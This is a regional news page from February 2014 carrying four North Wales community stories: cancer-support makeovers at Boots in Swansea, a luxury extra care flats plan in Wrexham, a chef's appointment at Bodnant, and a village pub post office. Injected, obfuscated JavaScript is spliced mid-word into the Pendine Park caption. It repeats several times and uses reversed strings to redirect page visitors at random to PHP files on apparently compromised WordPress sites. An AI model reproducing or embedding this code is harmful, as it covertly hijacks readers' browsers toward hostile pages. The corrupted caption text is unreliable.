Category: News

Beauty experts boost for cancer patients at Quadrant Shopping Centre

14B13PR1-ADP02 ceidiog

SPECIALLY trained beauticians at a Swansea store are providing a tonic to people coping with cancer by giving them stylish makeovers.

Beauty staff at Boots in the city’s busy Quadrant Shopping Centre have been trained to provide support for cancer patients as part of the long-standing partnership between the chemists and Macmillan Cancer Support.

In a recent survey, over three quarters of women said the visible side effects of cancer treatment had a negative impact on their confidence, while more than two thirds said they didn’t know how to disguise them.

That’s why a network of Boots Macmillan Beauty Advisors has now been introduced, which includes Number 7 Business Manager Natalie Howell and her colleague Fern Jones, a Number 7 Advisor, at the Quadrant Centre store.

They have both completed their special training and are currently performing around 10 free makeovers a week.

Natalie, who has worked at Boots for 30 years and has spent the past four years as part of the Number 7 team at the branch, said: “Potential Boots Macmillan Beauty Advisors are selected on a purely voluntary basis and then sent for their training.

“I went to the Boots headquarters in Bristol and the programme started with us being shown a film in which people speak about their experiences after being diagnosed with cancer.

“It’s very emotional and prepares you for the sort of things you will see. We also did a lot of reading about cancer and its effects and had cancer patients in to speak to us.

“It is only after you are fully prepared in this way that you are taught how do practical things like making-up eyebrows and eyelashes and moisturising skin which has dried out because of cancer treatment.”

Natalie added: “Since Fern and I completed our training we’ve been very busy with the makeovers and are now doing about 10 a week.

“And it’s not all been ladies. We recently saw a man whose skin had dried out because of his cancer treatment and he needed a bit of help to get some moisture back into it.

“Naturally, while we are doing the makeovers people chat to us and sometimes ask us if we know where they can go to get cancer counselling or advice on financial problems they are having a result of their condition.

“We are not trained to provide this type of help ourselves but we do have the information to point them in the right direction.

“Since we started the service we’ve had lots of lovely feedback from people with cancer who we’ve worked with.

“They tell us they are delighted with what we have been able to do for them and say that it’s given a great boost to their self-confidence and made them feel brighter.

“It can sometimes be quite emotional but we enjoy doing it very much.”

Fern said: “I think most people these days know someone with cancer. In fact, my auntie, who is 61, is currently fighting breast cancer.

“She’s doing fine and I occasionally do a little makeover for her and I know how brilliant it makes her feel, so doing the same thing at work as a Boots Macmillan Beauty Advisor is very rewarding.

“Looking good can always make ladies feel much better about themselves. One lady with cancer who came to us for a makeover told me she was feeling very down but when I put a little lipstick on for her she said she could now face the world.

“It’s things like that which make what we do so worthwhile.”

Kelly Smith, Beauty Manager at Boots in the Quadrant Centre, said: “We need to let more people know about this service, which is a way of getting over the taboo subject which cancer can still sometimes be.

“The makeovers are all about making people feel good about themselves and we are delighted to provide this free facility in our store.”

Paul Davies, Regional Manager for Macmillan Cancer Support, said: “This is a new and innovative service which comes as a result of the long-standing partnership between ourselves and Boots.

“We hope that the makeovers can help people overcome the psychological impact of a cancer diagnosis. Basically, if you look good then you also feel good.

“We now have these two excellent Number 7 advisors working at the Boots store in the Quadrant Centre and hopefully there may be more in the future.”

Boots UK colleagues and customers have raised £6 million since the partnership with Macmillan Cancer Support began, and are continuing to raise significant funds for the charity to help to improve the lives of people affected by cancer.

Over 1,000 Boots colleagues have so far given their time to volunteer for Macmillan since the partnership began by supporting local events, campaigning and providing practical and emotional support.

Wednesday February 26th, 2014

News

Care firm unveils £3m plan for luxury flats on Grosvenor Road in Wrexham

Mario Kreft proprie$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}tor of  Pendine Park homes.

A care organisation has unveiled a £3 million plan to help older people retain their independence.

Pendine Park has applied for planning permission to build 21 extra care apartments near the town centre in Grosvenor Road, Wrexham.

The luxury two-bedroom flats have been designed specifically for older people, including those with disabilities and other care needs.

The existing Edwardian property dating back to 1908 would be kept and would house one of the apartments and communal areas.

Conveniently, the site is just around the corner from the offices of Pendine Park’s domiciliary care company, Independent Living.

The organisation is working in partnership with Rossett-based construction firm, Rofft Developments.

They also built Pendine Park’s flagship Bodlondeb care home which was judged to be the best dementia centre in the UK in 2010.

If the scheme gets the go ahead from Wrexham County Borough Council, work would start immediately with the first residents moving in the summer of 2015.

Pendine Park proprietor Mario Kreft explained: “The scheme will complement our existing services with the provision of luxury extra care apartments.

“The residents will be able to access all of the services and amenities of Wrexham by living centrally, something very much encouraged by government policy and at the same time having the ability to receive a menu of care service as appropriate to their needs.

“We’re looking at encouraging people to remain independent for as long as possible, particularly couples where one maybe actually supporting the other who is less well.

“We want to find a way of providing the services that are needed at that time – so that would be through domiciliary care support and that could be on a 24/7 basis or simply occasionally as and when required.

“Importantly, it will also offer the opportunity for some people to remain economically active while being the main carer and for people to have that opportunity just to lead their own lives and have that sort of break from what is essentially 24/7 caring activities.

“A great deal of attention will be paid to communication technology and security and of course energy efficiency.

“The technology will range from basic communication equipment to some quite advanced computerised systems.

“For instance, if the resident wanted, we would be able to have external monitoring to flag up if anyone has fallen.

“Again if they wished, we could also have technology to tell us if somebody’s gone through a door in the night time and hasn’t come back again.

“One of the key elements of the offering would be to give peace of mind both to the individual or the couple and their families, both in terms of knowing that their needs can be met but very importantly issues around security.

“The apartments will be  designed to ensure that if people’s needs increase they haven’t suddenly got to find another place to live obviously say in terms of wheelchair access, accessibility and so forth.

“In addition, we’re retaining the existing Edwardian villa which we believe has considerable architectural merit in a conservation area and that will become one apartment and also communal areas for residents.

“We would recreate the original front garden behind a newly-built sandstone wall.

“This scheme dovetails with Government policy designed to reinvigorate towns and offer the people the opportunity to be independent through access to services and security.

“If we are given planning consent, construction would commence this summer and our first residents would be taking up residency in the summer of 2015.”

Wednesday February 26th, 2014

News

Bodnant job is a marriage made in culinary heaven for Dai Chef

BODNANT WELSH FOODS . Pictured is Chef Dai Davies at Bodnant Welsh Foods.

A TOP celebrity chef who wowed opera superstar Luciano Pavarotti with his culinary skills has landed his “dream job”.

Dai Chef has vowed to champion Welsh produce after being appointed as the resident chef at Bodnant Welsh Food in the Conwy Valley.

The centre of excellence at the heart of the 5,000 acre estate has been a big hit since it was officially opened by the Prince of Wales and the Duchess of Cornwall in 2012.

According to Dai, his role at Bodnant is the culmination of a 30-year mission to promote the merits of Welsh food.

He will be running the centre’s Hayloft restaurant and tea room as well as teaching in the cookery school, with the ingredients coming from Bodnant’s acclaimed farm shop.

Dai famously cooked for Pavarotti when he came to perform at the International Eisteddfod in 1995, exactly 40 years after he first came to Llangollen as part of his father’s choir from Modena, in Italy.

A native of Aberystwyth, Dai gained his initial experience in some of the largest hotels in London’s West end and by the age of 21 he was the youngest chef saucier – in charge of the creation of delicious sauces – at the world famous Carlton Club in St James’s.

He was the founder of the Welsh Culinary Team and is now seen as the “Daddy of Welsh Chefs”, having trained the like of Rhodri Williams, the Senior Sous Chef at Raymond Blanc’s legendary Oxfordshire eatery, Le Manoir aux QuatSaisons.

For the past six years Dai has been chef director at the Ship Inn at Red Wharf Bay on Anglesey and in 2008 he was awarded an Honorary Fellowship at Glyndwr University in Wrexham.

Dai, who’s moved to live in Colwyn Bay, said: “I started championing Welsh food 30 years ago when it wasn’t flavour of the month so my role at Bodnant – as the centre of excellence for Welsh food – is truly a dream job for me. It’s a marriage made in culinary heaven.

“The menu at the Hayloft restaurant will be full on Welsh rustic food with a modern twist.

“All the ingredients are available right here literally on the doorstep. Bodnant has its own butchers shop and delicatessen. The butter is produced here, the bread is baked here. We’re not talking food miles – it’s more like food yards.

“I’m just putting the final touches to the menu for St David’s Day and I’ve gone down the traditional route with lamb, leek and lava bread in a cawl style.  I’m going to slice some lovely potatoes over the top with some the award winning Bodnant cheese.”

Gwyndaf Pritchard, the General Manager at Bodnant Welsh Food, was equally excited about Dai’s arrival.

He said: “We are the Welsh Food Centre and Dai is very passionate about Welsh produce, as well as being extremely talented and creative.

“Bodnant is now well established as a centre of excellence but we are determined not to rest on our laurels and Dai’s appointment will help take us to the next level.

“Food is an increasingly important part of the Welsh economy and we are doing our bit by sustaining local growers and local farmers.

“Forty per cent of the produce on sale in our shop comes from Bodnant Welsh Food and if we can’t produce something ourselves, then the Conwy Valley is our first port of call.

“These are exciting times at Bodnant and we have an appetite for even more success.”

Monday February 24th, 2014

News

Flintshire village has its own post office again – and it’s in the pub

CADWYN CLWYD PUB IS THE HUB. Pictured is Landlord of the Bluebell in Halkyn. Pictured is Landlord Steve Marquis with Helen Roberts,Cadwyn Clwyd, Wyn Roberts and Malcolm Harrison, Pub is the Hub.

North Wales’s newest post office boasts an added attraction – a range of award-winning beer and ciders.

And the Royal Mail couldn’t be more royal with the HRH Prince of Wales-inspired Pub is The Hub responsible for re-opening the post office in the Blue Bell Inn, in the village of Halkyn in Flintshire.

Three years after the village post office closed when the sub-postmaster retired there is once again somewhere to buy stamps, post letters and parcels and collect pensions.

Thanks to landlord Steve Marquis and Pub is The Hub, the Prince’s rescue plan for rural pubs, administered in Wales by regeneration agency Cadwyn Clwyd, there is now a post office counter service in the bar of the pub high up on Halkyn Mountain.

Former consultant engineer Steve, mine host at the Blue Bell for 11 years, said: “I used to live in Bayton in Shropshire and I’d seen what could happen to a village when the post office closed and then the pub went and I didn’t want to see it happen here.

“All around us the local post offices had closed and the postmaster here was retiring and no-one wanted to take over so I contacted the Post Office and told them I’d be happy to take it on from here.

“Pub is The Hub have helped me enormously and so have Cadwyn Clwyd. They’ve given me lots of support and just holding your hand when you needed it and the Post Office have trained us properly and it’s been very well received locally.”

Pub is The Hub, founded in England in 2001 and the brainchild of Prince Charles, was launched in Wales by Ruthin-based Cadwyn Clwyd four years ago, financed from the European Agricultural Fund for Rural Development (EAFRD) through the Welsh Government’s Rural Development Plan.

It was piloted initially in Denbighshire, but Cadwyn Clwyd has now rolled it out across seven more counties, Flintshire, Conwy, Gwynedd and Anglesey in the north as well as Ceredigion, Bridgend and Vale of Glamorgan.

Malcolm Harrison, a former director of Thwaites brewery, is the Pub is The Hub Adviser for Wales and he said: “The scheme has done very well but we’re looking for a lot more pubs to get involved and we can help them tap into the funding that’s available.

“We want to preserve rural services and the pub is usually the last to go in a village, after the school and the shop.

“We just need landlords and the local communities to think laterally and think of ways to use the pub to host services like the post office here in Halkyn or it could be a shop, even a cinema, a library, an internet café or a crèche.”

Steve Marquis added: “We have had massive support from the local community as well and not just from nearby. We organise guided walks and special events and we have people coming here from over an hour’s drive and they have all been supportive.

“Some of them drive all that way just to post a letter or get a parcel weighed.

“We like to have a bit of fun here as well and we’ve got a blackboard for people to write down puns and the post office topic has provided a rich fund of them – things like ‘Signed, sealed, delivered and poured’ and my favourite ‘Whisky in the Giro’.”

It is estimated that five pubs are closing every day across the UK – almost 2,000 closed last year – and many of these are in rural areas where village shops and schools are also under threat.

Prince Charles believes rural communities “are facing unprecedented challenges” and the country pub which, he says: “has been at the heart of village life for centuries, is disappearing in many areas”.

He wants to see more pubs offer new services such as a post office or a shop and that’s the goal of Cadwyn Clwyd’s Rural Services Officer Helen Roberts who says: “We want the village pub to be at the heart of the community and the Blue Bell is an excellent example of how a local pub can help maintain those vital rural services that are so important to village life.

“We want to get the community involved as well as the landlords in thinking about what they can do to enhance the services on offer through the local pub.

“We are open to suggestions and would like to hear from communities and pubs interested in getting involved because we can offer expert advice including help with business plans and even financial help.”

The scheme is open to pubs in all rural towns and villages in Flintshire and the participating local authority areas and licensees and communities who are eligible can benefit from capital grants of up to 75 per cent of the total eligible project costs, to a maximum of £10,000.

Licensees will also benefit from the services of a specialist pub advisor who will provide support and guide them through the process from start to finish.

For more information and to receive an application pack contact Helen Roberts at Cadwyn Clwyd on 01824 705802 or e-mail: to:helen.roberts@cadwynclwyd.co.uk">helen.roberts@cadwynclwyd..co.uk. Help is also available from Pub is The Hub on 01423 546165.

Wednesday February 19th, 2014

News